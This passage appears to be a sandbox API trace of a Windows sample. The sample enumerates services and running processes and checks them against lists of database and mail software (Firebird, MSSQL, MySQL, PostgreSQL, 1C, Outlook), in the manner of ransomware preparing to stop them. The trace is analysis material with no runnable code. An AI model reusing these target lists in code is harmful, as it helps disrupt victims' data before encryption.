	[0087.607] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0087.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0087.607] lstrlenW (lpString="CryptSvc") returned 8
	[0087.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0087.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0087.607] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0087.607] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0087.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0087.607] lstrlenW (lpString="CscService") returned 10
	[0087.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0087.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0087.607] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0087.607] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0087.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0087.607] lstrlenW (lpString="DcomLaunch") returned 10
	[0087.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0087.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0087.607] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0087.607] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0087.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0087.608] lstrlenW (lpString="Dhcp") returned 4
	[0087.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0087.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0087.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0087.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0087.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0087.608] lstrlenW (lpString="Dnscache") returned 8
	[0087.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0087.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0087.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0087.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0087.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0087.609] lstrlenW (lpString="DPS") returned 3
	[0087.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0087.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0087.609] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0087.609] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0087.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0087.609] lstrlenW (lpString="eventlog") returned 8
	[0087.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0087.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0087.609] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0087.609] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0087.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0087.609] lstrlenW (lpString="EventSystem") returned 11
	[0087.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0087.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0087.609] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0087.609] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0087.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0087.610] lstrlenW (lpString="gpsvc") returned 5
	[0087.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0087.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0087.610] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0087.610] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0087.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0087.610] lstrlenW (lpString="iphlpsvc") returned 8
	[0087.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0087.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0087.610] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0087.610] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0087.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0087.610] lstrlenW (lpString="LanmanServer") returned 12
	[0087.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0087.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0087.611] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0087.611] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0087.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0087.611] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0087.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0087.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0087.611] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0087.611] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0087.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0087.611] lstrlenW (lpString="lmhosts") returned 7
	[0087.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0087.611] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0087.611] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0087.611] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0087.611] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0087.611] lstrlenW (lpString="MMCSS") returned 5
	[0087.611] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0087.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0087.612] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0087.612] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0087.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0087.612] lstrlenW (lpString="MpsSvc") returned 6
	[0087.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0087.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0087.612] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0087.612] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0087.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0087.612] lstrlenW (lpString="Netman") returned 6
	[0087.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1
	[0087.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1
	[0087.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1
	[0087.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1
	[0087.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1
	[0087.612] lstrlenW (lpString="netprofm") returned 8
	[0087.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0087.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0087.613] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0087.613] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0087.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0087.613] lstrlenW (lpString="NlaSvc") returned 6
	[0087.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0087.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0087.613] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0087.613] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0087.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0087.613] lstrlenW (lpString="nsi") returned 3
	[0087.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0087.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0087.613] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0087.613] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0087.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0087.613] lstrlenW (lpString="PcaSvc") returned 6
	[0087.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0087.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0087.614] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0087.614] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0087.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0087.614] lstrlenW (lpString="PlugPlay") returned 8
	[0087.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0087.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0087.614] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0087.614] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0087.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0087.614] lstrlenW (lpString="Power") returned 5
	[0087.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0087.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0087.614] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0087.614] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0087.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0087.614] lstrlenW (lpString="ProfSvc") returned 7
	[0087.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0087.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0087.614] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0087.615] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0087.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0087.615] lstrlenW (lpString="RpcEptMapper") returned 12
	[0087.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0087.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0087.615] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0087.615] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0087.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0087.615] lstrlenW (lpString="RpcSs") returned 5
	[0087.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0087.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0087.615] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0087.615] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0087.615] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0087.615] lstrlenW (lpString="SamSs") returned 5
	[0087.615] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0087.615] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0087.616] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0087.616] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0087.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0087.616] lstrlenW (lpString="Schedule") returned 8
	[0087.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0087.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0087.616] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0087.616] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0087.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0087.616] lstrlenW (lpString="SENS") returned 4
	[0087.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0087.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0087.616] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0087.616] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0087.616] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0087.616] lstrlenW (lpString="ShellHWDetection") returned 16
	[0087.616] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0087.616] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0087.617] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0087.617] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0087.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0087.617] lstrlenW (lpString="Spooler") returned 7
	[0087.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0087.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0087.617] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0087.617] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0087.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0087.617] lstrlenW (lpString="SysMain") returned 7
	[0087.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0087.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0087.617] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0087.617] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0087.617] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0087.617] lstrlenW (lpString="Themes") returned 6
	[0087.617] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0087.617] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0087.618] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0087.618] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0087.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0087.618] lstrlenW (lpString="TrkWks") returned 6
	[0087.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0087.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0087.618] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0087.618] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0087.618] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0087.618] lstrlenW (lpString="UxSms") returned 5
	[0087.618] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0087.618] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0087.618] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0087.619] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0087.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0087.619] lstrlenW (lpString="WdiServiceHost") returned 14
	[0087.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0087.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0087.619] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0087.619] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0087.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0087.619] lstrlenW (lpString="WdiSystemHost") returned 13
	[0087.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0087.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0087.619] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0087.619] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0087.619] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0087.619] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0087.619] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0087.619] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0087.619] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0087.619] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0087.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0087.620] lstrlenW (lpString="Winmgmt") returned 7
	[0087.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0087.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0087.620] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0087.620] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0087.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0087.620] lstrlenW (lpString="WPDBusEnum") returned 10
	[0087.620] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0087.620] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0087.620] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0087.620] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0087.620] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0087.620] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x5900d8 | out: hHeap=0x4a0000) returned 1
	[0087.620] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x14c
	[0087.623] Process32FirstW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0087.624] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0087.625] lstrlenW (lpString="System") returned 6
	[0087.625] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0087.625] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0087.625] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0087.625] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0087.625] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0087.625] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0087.625] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0087.625] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0087.626] lstrlenW (lpString="smss.exe") returned 8
	[0087.626] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0087.626] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0087.626] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0087.626] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0087.626] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0087.626] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0087.626] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0087.626] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0087.627] lstrlenW (lpString="csrss.exe") returned 9
	[0087.627] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0087.627] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0087.627] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0087.629] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0087.629] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0087.629] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0087.629] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0087.629] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0087.630] lstrlenW (lpString="wininit.exe") returned 11
	[0087.630] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0087.630] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0087.630] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0087.630] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0087.630] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0087.630] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0087.630] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0087.630] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0087.631] lstrlenW (lpString="csrss.exe") returned 9
	[0087.631] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0087.631] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0087.631] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0087.631] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0087.632] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0087.632] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0087.632] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0087.633] lstrlenW (lpString="winlogon.exe") returned 12
	[0087.633] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0087.634] lstrlenW (lpString="services.exe") returned 12
	[0087.634] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0087.635] lstrlenW (lpString="lsass.exe") returned 9
	[0087.635] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0087.636] lstrlenW (lpString="lsm.exe") returned 7
	[0087.636] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0087.637] lstrlenW (lpString="svchost.exe") returned 11
	[0087.637] Process32NextW (in: hSnapshot=0x14c, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0087.638] lstrlenW (lpString="svchost.exe") returned 11
